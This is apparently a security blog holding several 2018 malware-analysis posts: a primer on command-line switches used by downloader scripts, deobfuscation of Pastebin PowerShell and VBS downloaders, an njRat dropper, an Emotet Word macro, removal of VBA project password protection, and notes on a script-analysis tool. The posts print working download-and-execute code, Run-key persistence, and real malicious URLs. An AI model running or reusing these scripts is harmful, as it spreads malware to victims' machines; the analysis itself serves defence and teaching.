Showing posts with label malware. Show all posts
Showing posts with label malware. Show all posts

Sunday, December 23, 2018

Deobfuscating Trojan downloader scripts i.e. basics to get you started




This is an entry level view to understand scripting used by downloaders and by other malware. I assume no previous knowledge of scripting and the goal is to make the reader familiar with this topic. First I introduce scripting engines (shells) commonly used by downloaders. At the end I provide a few step-through of selected samples.

Commands and command line switches found in malware

First a few words about notation:
·        * DOS commands may use either forward slash (/) or hyphen (-) as a switch character, so cmd.exe /c and cmd.exe -c are the same commands. Powershell uses only hyphen (-)
·        * commands are written in lowercase, if possible. In the real samples, it is common that they are written in mixed case for example: C:\WiNDOws\sYStEm32\CMD.EXE /C. In general the scripting languages are case-insensitive
·        * Powershell has a "standard form" for commands for example Invoke-Command which may be written as invoke-command in this document
·        * as a rule of thumb DOS and Vbscript use double-quotes with strings and Powershell uses single-quotes. There are however exceptions for this rule

DOS Commands

cmd.exe /c [string]
/c   Carries out the command specified by string and then terminates command shell.
start.exe /b [string]    Starts a separate window to run a specified program or command
/b   Start application without creating a new window

Powershell

About notation:
·         commands and command switches are represented both with their shortest and full form for example -w[indowstyle] means that the switch can be between -w and -windowstyle and it may contain any number of characters from [indowstyle] part like -wind

powershell -noexit -nol  -noninteractiv  -noprofile  -execution  bypass  -windows hidden [string] |IEX
-noe[xit]                      Doesn't exit after running commands
-nol[ogo]                     Hides the copyright banner at startup
-noni[nteractive]         Doesn't present an interactive prompt to the user
-nop[rofile]                 Doesn't load the PowerShell profile
-ex[ecutionpolicy]      Sets the default execution policy for the current session and saves it in the          $env:PSExecutionPolicyPreference environment variable. Value bypass: nothing is blocked and there are no warnings or prompts.
-w[indowstyle]           Sets the window style for the session. Value hidden: no window is shown
[string]                       A command string or script block
IEX                            Invoke-Expression command

powershell.exe -nop -w hidden -c [string]
-c[ommand]             Executes the specified commands (with any parameters) as though they were typed at the PowerShell command prompt.

powershell -nop -sta -w 1 -enc [string]
-sta                           Starts PowerShell using a single-threaded apartment. This is usually obsolete setting to distract analysis
-e[ncodedcommand] Accepts a base-64-encoded string as a command
-w 1                          Same as -windows hidden, now the value hidden is replaced with a numeric constant

A sample step-through

Here is a very simple downloader sample which I found at Pastebin.

powershell.exe -nop -w hidden -c $l=new-object net.webclient;$l.proxy=[Net.WebRequest]::GetSystemWebProxy();$l.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $l.downloadstring('http://192.168.0.10:8080/E1Y8TdrQEfw');

For the sake of clarity I have divided a single long string with linebreaks. I have also added linenumbers.

1. powershell.exe -nop -w hidden -c
2. $l=new-object net.webclient;
3. $l.proxy=[Net.WebRequest]::GetSystemWebProxy();
4. $l.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
5. IEX $l.downloadstring('http://192.168.0.10:8080/E1Y8TdrQEfw');

Steps:
1. Invoke Powershell with no execution policy, hidden window and execute following commands
2. Create a WebClient object and assign object to variable l
3. Assign proxy settings to variable I's proxy property
4. Set proxy credentials
5. Invoke expression "I.downloadstring" which has string parameter 'http://192.168.0.10:8080/E1Y8TdrQEfw'


Here is another sample from Pastebin.

Set usdbzw = CreateObject("WScript.Shell")

usdbzw.Run "powershell $gscbut = New-Object -ComObject Msxml2.XMLHTTP; $hgttbdy = New-Object -ComObject ADODB.Stream; $zteyxhj = $env:temp + '\Dropbo.exe';$gscbut.open('GET', 'http://team.hitweb.it/tes2t?12143', $false);$gscbut.send(); if($gscbut.Status -eq "200"){$hgttbdy.open();$hgttbdy.type = 1;$hgttbdy.write($gscbut.responseBody);$hgttbdy.position = 0;$hgttbdy.savetofile($zteyxhj);$hgttbdy.close();} Start-Process $zteyxhj;",0, true

Here is the sample with linebreaks and linenumbers.

1.  Set usdbzw = CreateObject("WScript.Shell")
2.  usdbzw.Run
3.    "powershell
4.    $gscbut = New-Object -ComObject Msxml2.XMLHTTP;
5.    $hgttbdy = New-Object -ComObject ADODB.Stream;
6.    $zteyxhj = $env:temp + '\Dropbo.exe';
7.    $gscbut.open('GET', 'http://team.hitweb.it/tes2t?12143', $false);
8.    $gscbut.send();
9.    if($gscbut.Status -eq "200")
10.     {$hgttbdy.open();
11.      $hgttbdy.type = 1;
12.      $hgttbdy.write($gscbut.responseBody);
13.      $hgttbdy.position = 0;
14.      $hgttbdy.savetofile($zteyxhj);
15.      $hgttbdy.close();}
16.   Start-Process $zteyxhj;"
17. ,0, true

Steps:
1.-2. and 17. Create VBScipt shell object and execute string. Create no window and wait the script to finish
3. The string contains Powershell script
4. Create XMLHTTP object
5. Create ADODB.Stream object
6. Create a temporary file %TEMP%\Dropbo.exe
7.-8. Open HTTP connection
9. Check if the connection was established
10.-15. Read the HTTP response stream and write it to temporary file %TEMP%\Dropbo.exe
16. Execute %TEMP%\Dropbo.exe

Thursday, November 22, 2018

Analysing njRat a.k.a Generic.MSIL.Bladabindi downloader


Yesterday (21.11.2018) njRat a.k.a Worm.VBS.Dinihou.au dropper code was set to pastebin.com. It was still available today in https://pastebin.com/W1yyfPiy. The dropper downloads and persists excutable which is known as Generic.MSIL.Bladabindi.1E8DC4B3

VBS code downloads an executable with SHA256 hash c26f8c36052c150625a0e2e2676af5fa7e7d222bb2343720a66d48c7a9855256 and it can be found on VirusTotal https://www.virustotal.com/#/file/c26f8c36052c150625a0e2e2676af5fa7e7d222bb2343720a66d48c7a9855256/detection

Script code contains very long obfuscated lines. Firstly I dissected long lines shorter and prefixed then. So I got the following code:

Dim str
str = Chr(27 + 84) & Chr(16 + 94) & Chr(-12 + 44) & Chr(18 + 83) & Chr(60 + 54) & Chr(51 + 63) & Chr(205 - 94)
str = str & Chr(43 + 71) & Chr(60 - 28) & Chr(41 + 73) & Chr(60 + 41) & Chr(7475 / 65) & Chr(135 - 18) & Chr(118 - 9)
.
.
.
str = str & Chr(64 + 18) & Chr(19 + 93) & Chr(147 - 33) & Chr(37 * 3) & Chr(140 - 41) & Chr(171 - 70) & Chr(62 + 53)
str = str & Chr(80 + 35) & Chr(40 - 27) & Chr(780 / 78)
? str


Deobfuscated code is a VB script code too:

on error resume next
WScript.Sleep 60
Dim ofso
Set ofso = CreateObject("Scripting.FileSystemObject")
CreerRep("C:\ProgramData\Adobe\system32\")
Sub CreerRep(Chemin)
    If Not ofso.FolderExists(chemin) Then
        CreerRep(ofso.GetParentFolderName(chemin))
        ofso.CreateFolder(chemin)
    End If
End Sub

dim SSSSS
dim process
dim PPPPP
set SSSSS = CreateObject("Microsoft.XMLHTTP")
set process = CreateObject("WScript.shell")
Set PPPPP = createobject("Adodb.Stream")
URL = "https://c.top4top.net/p_1055q1ssb1.jpg"
Rprocess = "C:\ProgramData\Adobe\system32\process.exe"
SSSSS.open "GET", URL, False
SSSSS.send
with PPPPP
    .type = 1 '//binary
    .open
    .write SSSSS.responseBody
    .savetofile "C:\ProgramData\Adobe\system32\process.exe", 2
end with

Set ObjetRegedit = CreateObject("WScript.Shell")
CleRegistre = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\CPU64"
ObjetRegedit.RegWrite CleRegistre, "C:\ProgramData\Adobe\system32\CPU64.exe", "REG_SZ"
CleRegistre = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\process"
ObjetRegedit.RegWrite CleRegistre, "C:\ProgramData\Adobe\system32\process.exe", "REG_SZ"
CleRegistre = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\dekstop"
ObjetRegedit.RegWrite CleRegistre, "C:\ProgramData\Adobe\system32\dekstop.ini.vbs", "REG_SZ"
Set ObjetRegedit = Nothing

WScript.Sleep 6000
process.run Rprocess



First the code creates C:\ProgramData\Adobe\system32\ folder for the final executable. Next  an XMLHTTP object is created. Object downloads a jpeg-image from https://c.top4top.net/p_1055q1ssb1.jpg which is at this moment still available. The file is of course not an image but njRat executable. The file saved as C:\ProgramData\Adobe\system32\process.exe.

For persisting the executable, the script uses Windows Registry. The script code creates three new keys under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, namely: CPU64, process and dekstop (yes it has a typo). Registry key values are: C:\ProgramData\Adobe\system32\CPU64.exe, C:\ProgramData\Adobe\system32\process.exe and C:\ProgramData\Adobe\system32\dekstop.ini.vbs respectively. So it seems that the first and third registry keys are redundant and only HKCU \Software\Microsoft\Windows\CurrentVersion\Run\process key does persist this malware.

Finally script code uses WScript.shell object to launch downloaded payload.

Sunday, May 6, 2018

Analysing Word VBA Downloader for Emotet Malware

I found pretty fresh samples of Emotet downloader code from https://www.malware-traffic-analysis.net/2018/05/04/index.html and decided to do a quick deobfuscation of the code.

First phase is obfuscated VBA code in Word document. If you open the document you will see familiar Office 365 logo. You will see also suggestions to Enable Editing or Enable Content which would execute VBA code.


Anyway the VBA code is pretty heavily obfuscated with lots of unnecessary code.


Code execution starts from module ujDjvvQ which is renamed ThisDocument. Module contains Autoopen function which can be simplified:

Sub Autoopen()
 On Error Resume Next
 TiOoQjQV( nFODYizhYv )
End Sub

Function TiOoQjQV contains shell function and the argument is mostly deobfuscated code.

Deobfuscation function resides in module srYodFmNbnD, and it can be simplified to:

Function OUtvU(ByVal ciUzkrCSLkWBnW As String, TLAaHGLpbjzzY, oYFjLnWNLj)
 On Error Resume Next
 SCXkhnfEKHM = Mid(StrReverse(ciUzkrCSLkWBnW), TLAaHGLpbjzzY, oYFjLnWNLj)
 OUtvU = SCXkhnfEKHM 
End Function

In effect function OUtvU is a wrapper to mid function. A little twist is first reversing string with StrReverse.

Shell function resides in module DnaCdFskcp and it's simplified as:

Sub TiOoQjQV(qFkOSjfj As String)
 On Error Resume Next
 [Shell] Chr(vbKeyC) + qFkOSjfj, 0
End Sub

The argument for shell function i.e. parameter's qFkOSjfj value is:

md jVpSwjvTz zCLlIDOdohUVOziMjRLUbTKVir okGWmYP & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %kzwhjFmUVUOiJkk%=kcwKnsUZV&&set %atDQwjOtB%=p&&set %nFODYizhYv%=o^w&&set %lFhJFzoEwJVsjOS%=WdjEbhWvCv&&set %ciUzkrCSLkWBnW%=!%atDQwjOtB%!&&set %iriHrfYMvAFLQXZ%=NaOWDOflQPn&&set %TiOoQjQV%=e^r&&set %SCXkhnfEKHM%=!%nFODYizhYv%!&&set %qFkOSjfj%=s&&set %VtDjlGJSzZpSqTU%=SULNJfBUv&&set %oYFjLnWNLj%=he&&set %TLAaHGLpbjzzY%=ll&&!%ciUzkrCSLkWBnW%!!%SCXkhnfEKHM%!!%TiOoQjQV%!!%qFkOSjfj%!!%oYFjLnWNLj%!!%TLAaHGLpbjzzY%! " . ( $env:comSpeC[4,26,25]-JoIn'')( (('ZmInsa'+'dasd = &('+'g'+'36n'+'g36+g36eg36+g'+'3'+'6'+'w'+'-obj'+'ecg36+g'+'36tg3'+'6'+') random;Z'+'m'+'I'+'YYU = .(g36ne'+'g3'+'6'+'+g'+'36'+'wg36+g36-obj'+'ectg36) Sys'+'tem.Ne'+'t.We'+'bC'+'li'+'ent;'+'Zm'+'INSB ='+' ZmInsa'+'d'+'a'+'sd.nex'+'t(10'+'000, 282'+'1'+'3'+'3);Z'+'mIAD'+'CX'+' = g3'+'6 http'+':'+'//'+'a'+'lian'+'.'+'d'+'e'+'/'+'4wBY'+'ki/@'+'http://agai'+'nstpe'+'rfect'+'ion.net/6'+'kWq0/@'+'ht'+'t'+'p'+'://globalreach'+'adv '+'ertising.'+'com/zfFg'+'SQ/'+'@htt'+'p://www.'+'fanoff.com/Z'+'VljVr/'+'@'+'h'+'ttp'+'://thur'+'tell.co'+'m/TCyk/g'+'3'+'6'+'.S'+'plit(g3'+'6@'+'g'+'3'+'6);ZmI'+'S'+'DC '+'= ZmIe'+'nv:pu'+'bl'+'i'+'c + g3'+'6Dcfg36 +'+' Zm'+'INSB +'+' (g'+'3'+'6'+'.exg36'+'+g3'+'6eg36);fo'+'reach'+'(Z'+'mIasfc'+' '+'in ZmI'+'AD'+'CX){t'+'ry{ZmIYYU.sH6Do'+'0mIWn'+'l0mIOa'+'dFI'+'0mI'+'lesH6('+'ZmI'+'asfc.sH6ToStr0mIi0'+'m'+'INgsH6(),'+' ZmI'+'SDC)'+';&(g36Inv'+'og'+'3'+'6+'+'g36'+'k'+'g'+'36+g36e'+'-It'+'emg36'+')(Z'+'m'+'I'+'SDC'+');bre'+'ak;}catch'+'{}'+'}') -repLACE '0mI',[chaR]96 -repLACE([chaR]68+[chaR]99+[chaR]102),[chaR]92-cREPLACE 'g36',[chaR]39 -cREPLACE ([chaR]90+[chaR]109+[chaR]73),[chaR]36 -cREPLACE ([chaR]115+[chaR]72+[chaR]54),[chaR]34) )

This script code has two parts. First part is DOS code which creates a folder and sets environment variables that evaluate to string 'powershell'. Second part is obfuscated powershell code.

To analyse powershell code, I first made a replace table:
Replace Table
  • 0mI  ' 
  • ZmI $ 
  • g36  ' 
  • Dcf  \ 
  • sH6 *

Finally I deobfuscated powershell code as (excluding Replace functions):

( $env:comSpeC[4,26,25]-JoIn)( (('
 $nsadasd = &('new-object) random;
 $YYU = .('new-object')System.Net.WebClient;
 $NSB =$nsadasd.next(10000, 282133);
 $ADCX = '
 http://alian.de/4wBYki/@
 http://againstperfection.net/6kWq0/@
 http://globalreachadvertising.com/zfFgSQ/@
 http://www.fanoff.com/ZVljVr/@
 http://thurtell.com/TCyk/
 '.Split('@');
 $SDC = $env:public + '\' + $NSB + ('.exe');
 foreach($asfc in $ADCX)
 {try{$YYU.*DoWnlOadFIle*($asfc.*ToStriNg*(), $SDC);
 &('Invoke-Item')($SDC); 
 break;}
catch{}})

Obfuscation method in VBA code resembles very much the code in: A sample analysis walkthrough with RETouch: Testing a new feature. I guess they are both made with the same malware or obfuscation kit.

Sunday, April 29, 2018

Revealing Password Protected VBA Macro Code

Last night I downloaded a malicious Word document from Any.Run website. Malware is recognized according VirusTotal as Trojan-Downloader.MSWord.Agent.byj (Kaspersky).



Once opened the document suggests macro and content enabling. Notice the funny typo: "Can't Veiw?".



Viewing the VBA code is made difficult with MS Office's built-in VBA project password protection. So the password protection has to be removed or cracked. I decided to remove password protection.



The document itself was also password protected so this protection has to be removed first. Since I did not know the password I just guessed the password: "1234".



Document password can be removed from File/Properties. I was using Finnish Word so try to follow screenshots anyway.



When the Document password is removed, save the document in docm format.



Now, open the Explorer, locate the previously saved docm format file and open it with 7-Zip as an archive file. I used 7-Zip but this could be done with any Archiver application.



Locate vbaProject.bin from inside the archive (Word document). Then extract vbaProject.bin out of the file.



Open the extracted vbaProject.bin file with your hex editor. Search "DPB" as ASCII text. There should be only one occurrence of that string. After you have found it, replace it from "DPB" to "DPx". Save this modified file and close the hex editor.



Drag the modified vbaProject.bin file back to 7-Zip and replace the original vbaProject.bin file. If you use some other archiver you may need to do this in some other way.



Save the archive file and now you can re-open docm file with Word. You should get an error message, see below image. Answer "Yes" and the document loads.



Open VBA editor and select VBA project's properties. You should be able to remove project locking and any passwords. You may need to save and reload the document to changes to take effect.



Finally you should see the hidden VBA code.

Monday, April 9, 2018

A sample analysis walkthrough with RETouch: Testing a new feature

Here is another example how to analyze a malware with RETouch. I picked up Zahlung_03_04_2018_658348.doc from hybrid-analysis.com. This sample was suitable to test new script deobfuscation feature. This new feature tries to make obfuscated script to more human readable. Feature is not yet available in Github code and will be released with RETouch 1.1 version.

Below is the image of the original code.

First I select the correct script language, that is VBScript in this case. I also select inserting linebreaks after VBScript keywords, function and variable renaming and also unescaping escaped codes.

The final result is _almost_ readable. At this point the easiest way to proceed is to copy/paste code to a Word document and do final fixing.

Copy/Pasting code to VBA-editor enables syntax checking and highlighting. That is very handy for the final steps with the code. Below is the start of the fixed VBA-code. It also shows "mysterious" procA function.

After fixing the latter part of the code, the code starts to make sense. "Mysterious" procA converts Base64 code to text. The text is split to shorter strings which are obfuscated by coding them with Base64.

VBA-code uses MSXML2.XMLHTTP to download an exe file from https://tous1site.name/axctogh.exe. Final lines start Wscript.Shell to execute downloaded file.

Executable file is no longer available and what it does would be outside of RETouch's scope anyway.

Saturday, April 7, 2018

A sample analysis walkthrough with RETouch

Here is an example how to analyze a malware with RETouch. The malware's hash (SHA256) is 63eaddbbe91031cb1d8f38cdbc679adacd232f97bbc061f02073d909c11c1594 and it can be found from VirusTotal. First I open datafile 63eaddbbe91031cb1d8f38cdbc679adacd232f97bbc061f02073d909c11c1594.bin (Word document). If I didn't know the SHA256, I would get the checksums first.
RETouch can calculate most commonly used hashes: MD5, SHA1 and SHA256.
Next, I check the strings that this binary file contains.
One string catches the attention: "powershell". Following strings look a lot like Base64 encoded data.
To extract Base64 data, I open binary file in hex view mode. After locating string "powershell", I select following text until I found '='-character.
I paste the text I copied from the hex view and convert Base64 to binary data.
Converted data's hex dump seems to have value zero in almost every second value. This indicates that hex dump could be Unicode encoded text.
The text really was Unicode encoded. Now I have PowerShell code which builds a string from numeric char values. I select only string building part of the code and execute the PowerShell code.
This gets the final unobfuscated code.
What the code actually does is not relevant now. The relevant thing in here is that RETouch has done its job.

Thursday, April 5, 2018

RETouch 1.0 released

RETouch is a windows application for deobfuscating and analyzing malicious scripts. Malicious scripts are commonly the first step of malware infection. Since script files are text-based, RETouch has functionality to handle texts and strings. For binary analyses there are plenty of excellent applications available. RETouch aims to be • extendible with scripting • "umbrella" for external applications Because malware and malicious scripts evolve quickly, the core functionality is just not enough. That is why RETouch provides easy scripting to extend its core functions.
Like any software with version number 1.0 this is far from perfect. I have started to program the next version with some features I left from version 1.0.